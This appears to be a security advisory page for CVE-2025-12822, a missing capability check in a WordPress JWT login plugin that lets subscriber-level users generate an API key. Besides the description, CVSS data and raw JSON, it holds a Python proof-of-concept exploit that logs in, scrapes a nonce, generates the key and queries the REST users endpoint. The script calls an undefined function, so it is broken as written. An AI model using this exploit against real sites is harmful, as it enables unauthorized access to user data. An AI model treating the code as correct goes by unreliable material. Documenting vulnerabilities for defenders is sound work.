Security Vulnerability Report
中文
CVE-2025-12822 CVSS 4.3 MEDIUM

CVE-2025-12822

Published: 2025-11-19 06:15:47
Last Modified: 2026-04-15 00:35:42

Description

The WP Login and Register using JWT plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the 'mo_jwt_generate_new_api_key' function in all versions up to, and including, 3.0.0. This makes it possible for authenticated attackers, with Subscriber-level access and above, to generate a new API key on site's that do not have an API key configured and subsequently use that to access restricted endpoints.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

WP Login and Register using JWT plugin <= 3.0.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import re # CVE-2025-12822 PoC - Unauthorized API Key Generation # Target: WP Login and Register using JWT plugin <= 3.0.0 TARGET_URL = "http://target-wordpress-site.com" USERNAME = "subscriber_user" # Low-privilege account PASSWORD = "password123" def get_nonce(html, action_name): """Extract WordPress nonce from page""" pattern = rf'name="{action_name}" value="([a-f0-9]+)"' match = re.search(pattern, html) return match.group(1) if match else None def cve_2025_12822_poc(): session = requests.Session() # Step 1: Login with low-privilege account login_url = f"{TARGET_URL}/wp-login.php" login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } resp = session.post(login_url, data=login_data, timeout=10) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed") return print("[+] Logged in as subscriber") # Step 2: Access plugin admin page to get nonce admin_url = f"{TARGET_URL}/wp-admin/admin.php?page=mo_jwt_generate_new_api_key" admin_page = session.get(admin_url, timeout=10) # Step 3: Generate new API key (exploiting missing capability check) nonce = get_nonce(admin_page.text, '_wpnonce') exploit_url = f"{TARGET_URL}/wp-admin/admin-ajax.php" exploit_data = { 'action': 'mo_jwt_generate_new_api_key', '_wpnonce': nonce, 'option': 'mo_jwt_generate_new_api_key' } resp = session.post(exploit_url, data=exploit_data, timeout=10) print(f"[+] Exploit response: {resp.text}") # Step 4: Use generated API key to access restricted endpoints api_key = extract_api_key(resp) if api_key: print(f"[+] API Key obtained: {api_key}") headers = {'Authorization': f'Bearer {api_key}'} restricted_endpoint = f"{TARGET_URL}/wp-json/wp/v2/users" data_resp = session.get(restricted_endpoint, headers=headers, timeout=10) print(f"[+] Accessing restricted endpoint: {data_resp.status_code}") if __name__ == '__main__': cve_2025_12822_poc()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12822", "sourceIdentifier": "[email protected]", "published": "2025-11-19T06:15:46.803", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP Login and Register using JWT plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the 'mo_jwt_generate_new_api_key' function in all versions up to, and including, 3.0.0. This makes it possible for authenticated attackers, with Subscriber-level access and above, to generate a new API key on site's that do not have an API key configured and subsequently use that to access restricted endpoints."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3397900%40login-register-using-jwt&new=3397900%40login-register-using-jwt&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/966523a4-3d4b-444b-b9d0-63c72527a99f?source=cve", "source": "[email protected]"}]}}